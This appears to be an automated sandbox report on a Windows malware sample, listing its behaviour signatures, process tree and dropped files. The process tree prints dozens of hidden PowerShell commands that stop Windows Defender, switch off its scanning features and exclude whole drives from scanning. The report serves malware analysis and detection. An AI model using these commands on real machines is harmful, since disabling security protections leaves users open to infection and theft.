Overview

overview

10

Static

static

10

2026-07-08...ar.exe

windows10-2004-x64

10

2026-07-08...ar.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    34s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 02:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-08_d6a5972c1b6ad92d0ffc37e51fb50b5a_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 181KB
  • Sample260708-cmlvysh19p
  • SHA256 24c33e931c369d750d19cb8125b0dbbf53ec002d4291de8835b732892c63b1f3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutiontrojan

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
    defense_evasiontrojan
  • Windows security bypass 2 TTPs 1 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 60 IoCs

    Run Powershell and hide display window.

    execution
  • Windows security modification 2 TTPs 6 IoCs
    defense_evasiontrojan
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-08_d6a5972c1b6ad92d0ffc37e51fb50b5a_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-08_d6a5972c1b6ad92d0ffc37e51fb50b5a_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Windows security bypass
    • Windows security modification
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3108
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Stop-Service WinDefend -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-Service WinDefend -StartupType Disabled" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3468
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend' -Name 'Start' -Value 4 -PropertyType DWord -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6000
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Windows' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Program Files' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5244
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Users' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\SkillProtect' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableIOAVProtection $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisablePrivacyMode $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1244
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:6104
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableArchiveScanning $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableScriptScanning $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2448
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -MAPSReporting 0 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1672
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -HighThreatDefaultAction 6 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -LowThreatDefaultAction 6 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -SevereThreatDefaultAction 6 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -EnableControlledFolderAccess Disabled -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Windows' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Program Files' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1152
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\Users' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\SkillProtect' -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableIOAVProtection $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4912
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisablePrivacyMode $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:6056
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableArchiveScanning $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4344
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -DisableScriptScanning $true -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:5784
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -MAPSReporting 0 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1344
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -HighThreatDefaultAction 6 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -LowThreatDefaultAction 6 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -SevereThreatDefaultAction 6 -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Set-MpPreference -EnableControlledFolderAccess Disabled -Force" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3068
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:4772
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
          PID:1784
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
          PID:1760
        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
          1⤵
            PID:5188

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                JavaWS.exe
                • Path C:\Program Files\JavaW\JavaWS.exe
                • Size 305KB
                • SHA256 58fd10fcf22d6a3eec94280b1ca6d8f62b48a757549121f0f25b778effa6363d
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 9a2bbe942a6c12613c66f842a23b00bb80ac13a6ae6c90d8d2f441acb2d84fff
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 76c959cce08c32b4ac14475f9ac8fbba9c4ce9f7f3508f9ae9b7149856a5582d
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 cdedb67f6049af42ae10cc24d97e0bb4e97aa1e86e825842b20a25ab093d30c3
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 3e40f79b3a7018496875c7d2fe2b0ed367c697f7a465c9aea35ae17deb1e9b9d
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 091c57da458c9b06a412bff2b508b5e0e2f2b4a27b7651c9e60c11cb33cf1c6d
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 892fc6243ecd39a75af0b4b742535a07075fcf93a9bb683a5764e60efea9a6d8
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 cab859b527570b0147b6eba334680ab75a12a604a5e41639762e206f87a07575
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 9c7bd214b6c725423e260e87f33467f2b9d25481b8fc70c465e492e340e43017
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 ad30fe11b60f40324662f728e2de4a3aa402e2f1db641f92fbbaf0847f1127a1
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 17fc7108ba052de1a612d7ced011049af250c0e908065bc1d8ba35d66f49365f
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8b676dfca2d847586e408442aea3e19353c681f0ab05212c22f0c1de2a17cf26
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 2326e0099b8cc19ce11b85577d78d9a9413ee89261c71d232a638f8a91db4e8a
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 aba152cacccb9aa757b2963a8c2ea56d048158f97f048563b8420c41f06577d0
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 1214ee4ad2fa9d5a617f02ce5b7d1d9c3591f5d24c7d6dfb33708be405acaeb7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 5703a01c8806b40fa34587e09fb4283c235df7fb23042c81370f3871c58dff5d
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 144f25bcd1e4738665d1a8b7b628ca5089035dada73ab0eb4fb91966a0d7d9b8
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d754266fc6afb8b4573b7ed76483c27cdc0d442e4e20d57fbc729933d93fa59e
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 ed6d7b8e7fbe7f16b26ccd81460e44e395c56ab1ff4ab17a76d87a244d3404bc
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 70cd3384ca02ae318ba07100ecba1882aaadb7bae886745b39699090370b2545
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 a5e909dcbff76c5b7be0c204483ceb00a76012c1793c58b219150a02658c826a
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 422e4674dd37e3a1e51b8eaa47d36e0e24d12903181ef9ac588f384ca27950c7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 b17186e51347374fe5836342c9a0edf6f28926a654572523f04854ab6b266298
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d15df500c120626004e5ea3632eb7b48bd60e17b826ec51f76738bc3f701149c
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 32f4dbe9370512a2fb86925a05c3f338455614f8383f527c4c5a83ee9d7ffffd
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 89b4d7b15f6ea70a21de2a4f705e305584fa547ff6982bf652c19dce450f0305
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 928f763fa4ce32cd862bf22668a841ad8efd64a58b7637bdc7bd87d6aac7799b
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 77f180234fa6aaa006c36a1516468ad9a2ede3539baf3be5825e324959c34963
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 6eb19c3103cae410b7d26afe3d88d581dbc486d6a1995e063c20cc744dcbfd6b
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 de6f943b3894987801a8791ff651220dd3f06e1e2c27ab92294fc3db65d8b618
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 bf70a295653ea2827c0aae0386ce5b8c1b7312b497d141dceefbbc0a502ad163
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 20a1c417e1b49e7ebe1b5fe9fa59e189efec06b933dede3c11cac4928b168699
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 2135a9675a1a9b9edae2e2e74bb3ed31dc5beb6fe6c3862fc7e6cbb04a5bf902
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 66ab4bb0e2cbd7d404926c94a61b53077f935d2103c15276159738676912bbad
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 9e4b9825345fa0a0b15d70b796b684db67a34fb092fadca3084f09e28a7ff842
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d22432894f7a7d271656e70744aa37f7813604fb203de14f31676cefd60cac6a
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 a3c5b3fd556d7a80e612793616e30420d6814c59bf67fa11ca79963cbc4ad42c
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 cbdea70518fabaf7fc2b80455fef96994e46a37b9812286bea96bf6e3f1089b2
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d8bf394878d4bf23bcc8d7da77b67e30dfdcc8a0296054c48694d27f7e185340
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d0ebdce177700ca1c4b12bc2cf75615d0edd7e15e47291f4b09e652893a238dc
